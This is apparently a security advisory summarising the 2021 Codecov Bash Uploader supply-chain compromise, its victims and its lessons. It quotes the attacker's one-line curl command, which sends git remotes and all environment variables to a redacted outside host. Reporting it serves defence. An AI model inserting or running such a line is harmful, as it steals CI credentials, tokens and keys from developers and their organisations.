Codecov.io incident
Date : April 07, 2021
Update on 25-May-2021: Since the publication of this article, several other companies (in addition to HashiCorp and Twilo) have announced that they have been affected by the Codecov.io attack: Coalition, Confluent, Monday.com and Rapid7 (See this article by BleepingComputer.com).
Since mid-April 2021, there has been a lot of discussion about the incident at Codecov.io and its possible impact for its customers. We present a summary through this article.
Codecov.io (the name comes from Code Coverage) is a company that provides a product for monitoring the quality of the code developed in a software project (and in particular measuring test coverage). We use Codecov.io to refer to the company and Codecov to refer to the product. Codecov product is designed to integrate in Continuous Integration (CI) environments such as Jenkins, Travis-CI, GitLab-CI, CircleCI, Bitrise, etc. Continuous Integration is a fairly common development technique that, for example, can automatically generate daily a new version of the product under development.
Codecov.io provides a script, named Bash Uploader, which runs in the customer's development environment and uploads metrics about the project to Codecov.io. We do not know Codecov product, but we can imagine that this allows gathering on a central (Cloud) console hosted at CodeCod.io data from development environments hosted on Github or others (an on-premise version apparently also exists for customer who do not wish to export their data to Codecov.io).
The incident
The Bash Uploader script is available online (https://codecov.io/bash) and the recommended practice is to download it each time it needs to be run rather than using a local copy. Unfortunately, a hacker has managed to gain an illegal access (using information contained in the Docker image distributed by Codecov.io) and to modify this Bash Uploader script. From 31-Jan-2021 to 01-Apr-2021 it was a booby-trapped version of this script that was available on the Codecov.io website.
According to Codecov.io's investigation, the only modification made by the hacker is the addition of a single line of code (reproduced below) in the Bash Uploader script:
curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://<redacted>/upload/v2 || true
This modification sends to a site controlled by the hacker the result of the UNIX command "env" which lists all the environment variables and their values. According to Codecov.io, some of these variables sometimes contain sensitive information such as "credentials, tokens or keys" (sic) which can be reused to access the Cloud repositories used by the project (access token for Codecov.io, AWS or GitHub credentials, etc.).
The impact
Codecov.io said that it notified all the customers who appears to be affected (the ones who used Bash Uploader during the period when this script was trapped). It also recommends that all customers investigate the exact impact of the incident at their side, by checking whether the "env" command reveals sensitive information. Codecov.io has also published IOCs containing the IP addresses used by the attacker in this incident (these IOCs are also available in the Cert-IST MISP database).
The articles published by the press about this incident, indicate that several major companies are using Codecov.io (such as IBM, HPE, Atlassian or Mozilla). The fear is that the Codecov.io incident will allow the attacker to steal code from these companies, or even to place backdoors in their products (leading to an attack similar to the one revealed in December 2020 for Orion SolarWinds).
Reuter.com said that a people involved in the investigation reported that the hacker had automated his attack to use immediately the stolen access data. In addition, two companies explicitly stated that they were victims of the attack:
- HashiCorp announced the theft of its GPG (code signing) key,
- Twilo announced that its Github repositories had been cloned.
Conclusion
The Codecov.io incident is probably a sophisticated attack where the attacker has planned to perform several bounces before reaching his real target. Indeed, one can imagine a double bounce scenario where:
- The Codecov.io attack allows to penetrate a software development company (for example IBM),
- And a backdoor will then be added in the products that this company will distribute to its customers.
Of course, this immediately brings to mind the SolarWinds Orion attack and the more general issue of software supply chain attacks. But there is no established link with the SolarWinds incident. On the other hand, the compromise of genuine software is currently a hot topic and a trend that is growing.
There are undoubtedly many vulnerabilities to be found in software development workflows, and this threat will continue to grow. As mentioned in our annual review, these sophisticated attacks are initially built to hit targets that could not be attacked by simpler methods. On the other hand, it is important for all to correct the problems identified by these advanced attacks, because reusing a known attack method is within the reach of less experienced attackers.
Finally, Codecov.io is apparently not a major player in software development and some believe that the impact of the attack will therefore remain moderate.
For more information:
Codecov.io blog following the problem:
Series of articles published by BleepingComputer.com
- 16-Apr-2021 : Popular Codecov code coverage tool hacked to steal dev credentials
- 20-Apr-2021 : Hundreds of networks reportedly hacked in Codecov supply-chain attack
- 24-Apr-021 : HashiCorp is the latest victim of Codecov supply-chain attack
- 30-Apr-2021 : Codecov starts notifying customers affected by supply-chain attack
- 04-May-2021 : Twilio discloses impact from Codecov supply-chain attack